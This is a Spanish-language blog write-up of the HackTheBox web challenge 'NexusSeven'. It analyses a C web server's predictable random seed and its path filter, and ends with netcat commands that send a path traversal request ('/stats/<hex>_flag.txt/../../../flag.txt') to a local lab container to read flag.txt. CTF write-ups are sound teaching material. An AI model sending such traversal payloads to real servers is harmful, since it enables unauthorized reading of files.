blogs
NexusSeven

Writeups

NexusSeven

Writeup del reto NexusSeven de HackTheBox: leer el servidor httpd.c, entender cómo crea la carpeta stats y llegar a la flag con un path traversal.

4 jul 2025

6 min

HomeBlogsNexusSeven

Description

Our agents have given you access to a compromised Nexus Seven panel instance from the opposition group, your goal is to extract hidden info from the system running the spying software.

Este sera un inicio de muchos Write-Up, espero que les guste. Despues de ver que es una pagina estatica y no ver por donde ir, decidi analizar el comportamiento del sitio web desde httpd.c.

Las partes mas importantes de inicio son:

C
#define EXT_LIST              { "html", "htm", "txt", "jpg", "jpeg", "png", "pdf" }
#define BAD_REQ_STATUS        "400 Bad Request"
#define NOT_FOUND_STATUS      "404 Not Found"
#define STATS_ROOT_DIR        "stats"
#define STATS_FILE_NAME       "stats.txt"

Con EXT_LIST sabemos que tipo de extensiones son permitidas, nuestro enfoque principal es flag.[txt], BAD_REQ_STATUS, NOT_FOUND_STATUS son los estados que debemos tener presentes para saber si pasamos el filtro o no, tambien vemos que tenemos una carpeta stats y un archivo stats.txt. Esto es importante porque ya podemos darnos una idea de donde puede ir la cosa, y analizando el proceso podemos ver que se llama a la funcion ensure_stats_root_created para inicializar la carpeta stats desde la funcion main.

C
static void ensure_stats_root_created(void) {
  struct stat st = {0};
  if (stat(STATS_ROOT_DIR, &st) == -1) {
    if (mkdir(STATS_ROOT_DIR, 0755) == -1 && errno != EEXIST) {
      perror("mkdir stats");
    }
  }
}

La cual se encarga de crear la carpeta stats si no existe. Si vemos main podemos darnos cuenta que lo primero que se inicializa son 2 cosas:

C
int main(int argc, const char **argv) {
  srand(0);
  ensure_stats_root_created();

Con esto partimos con el primer problema y es que la generacion del hex para las carpetas que se generan en stats no es correcta, ya que la semilla siempre empieza en 0. Esto nos indica que en un escenario real podemos tener un diccionario de hex ya generado e intentar multiples veces. En este caso como tenemos acceso al codigo podemos irnos por el camino tranquilo.

C
static void build_stats_dir_name(const char *filename, char *out, size_t out_size) {
  char suffix[RANDOM_SUFFIX_LEN * 2 + 1];
  random_hex(suffix, RANDOM_SUFFIX_LEN);
  snprintf(out, out_size, "%s/%s_%s", STATS_ROOT_DIR, suffix, filename);
}

Por que en caso de iniciar la maquina o el docker, siempre tendremos de entrada.

Markdown
stats/a7b3c9d2_archivo.txt
stats/f4e8b1a6_archivo.txt ← ¡DIFERENTE!
stats/3c7d9e2f_archivo.txt ← ¡DIFERENTE!

Por lo que el hex a7b3c9d2 es el mismo siempre de inicio. Ahora la pregunta es como se genera estos directorios, y llegar al ejemplo visto.

Lo primero es entender desde donde se estan usando las funciones, en este caso vemos que se arma mediente el path

C
const char *filename_for_stats = ctx->filepath[0] ? ctx->filepath : DEFAULT_ROUTE;
const char *base               = strrchr(filename_for_stats, '/');
base = base ? base + 1 : filename_for_stats;
build_stats_dir_name(base, stats_dir_path, sizeof(stats_dir_path));

Ahora vemos que

  • filename_for_stats: da "index.html" si esta vacio ctx->filepath[0], sino dara la ruta en bruto del archivo (archivo.txt).
  • char *base: Si encuentra, devuelve un puntero a esa posición, si no encuentra, devuelve el nombre del archivo (archivo.txt o index.html).
  • base: Extrae solo el nombre del archivo (sin la ruta). por lo que si teniamos ejemplo/archivo.txt solo dara archivo.txt.
  • stats_dir_path: Crea el nombre del directorio de estadísticas usando solo el nombre del archivo. "stats/83886080_index.html" y de inicio usa el hex generado.

Aqui ya nos damos cuenta que a donde apunta es aun ataque de path traversal, sobre todo porque en los filtros que nos detiene acceder a flag.txt.

C
void cleanup_filepath(ctx_t *ctx)
{
  while (strlen(ctx->filepath) && ctx->filepath[0] == '/') {
    memmove(ctx->filepath, ctx->filepath+1, strlen(ctx->filepath));
  }
  for (size_t i = 0; i < strlen(ctx->filepath); ++i) {
    if (ctx->filepath[i] == '.' || ctx->filepath[i] == '/'
    || ctx->filepath[i] == '-' || ctx->filepath[i] == '_'
    || isalnum(ctx->filepath[i])) {
      fprintf(stdout, "%c", ctx->filepath[i]);
      continue;
    }
    strcpy(ctx->filepath, DEFAULT_ROUTE);
    ctx->filepath[strlen(DEFAULT_ROUTE)] = '';
    fprintf(stdout, "cleanup_filepath: %s
    ", ctx->filepath);
    break;
  }
}

por lo que siempre que queramos hacer uso de / lo va a eliminar, y valida que se siga con los caracteres permitidos: ., /, -, _, letras, números. Si encuentra algo más: reemplaza todo el path con "index.html". Para saber donde queda la flag podemos ver el Dockerfile que lleva flag a la carpeta raiz /, tambien podemos hacer un ls para ubicarnos.

Shell
  Standby  ~/htb/NexusSeven  docker exec -it web_nexus_seven ls
httpd  httpd.c  index.html  stats
  Standby  ~/htb/NexusSeven  docker exec -it web_nexus_seven ls ..
app  boot  etc       home  lib32  libx32  mnt  proc  run   srv  tmp  var
bin  dev   flag.txt  lib   lib64  media   opt  root  sbin  sys  usr

En este caso podemos hacer dos cosas ir desde el nevagador e ir a url/flag.txt o usando netcat para mantener la conexion viva por un momento, y crear el directorio.

Shell
{ echo -e "GET /flag.txt HTTP/1.1
Host: localhost
Connection: keep-alive
"; sleep 10; } | nc localhost 1337 &

Lo importante es que si no optamos por el camino de la fuerza bruta y no queramos adivinar cual es el hex, es una vez hecho esto no volver a realizar otra vez la solicitud, sino que usando el directorio realizar el path traversal.

Shell
  Standby  ~/htb/NexusSeven  docker exec -it web_nexus_seven ls stats
67c6697351ff4aec_flag.txt

Ahora que sabemos que el hex es 67c6697351ff4aec, podemos ir a url/67c6697351ff4aec_flag.txt, el problema aqui es si vamos a 67c6697351ff4aec_flag.txt se realizara de nuevo la solicitud, y borrara ese directorio y creara otro siendo hex_67c6697351ff4aec_flag.txt, por lo que es importante no hacer esto para no perder el hex inicial. Ahora sabiendo que tenemos el primer directorio el cual si existe (Y no nos mandaria a index.html), y el que permite el uso de / al inicio, podemos realizar el path traversal que nos retorne el flag.txt, lo importante aqui es que cuando lo hagamos podamos capturar la bandera y que no se borre al instante.

Shell
  Standby  ~/htb/NexusSeven git-[ master]-  sleep 0.2
echo -e "GET /stats/67c6697351ff4aec_flag.txt/../../../flag.txt HTTP/1.1
Host: localhost
Connection: keep-alive" | nc localhost 1337
Shell
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 29
Connection: keep-alive
HTB{f4k3_fl4g_f0r_t35t1ng}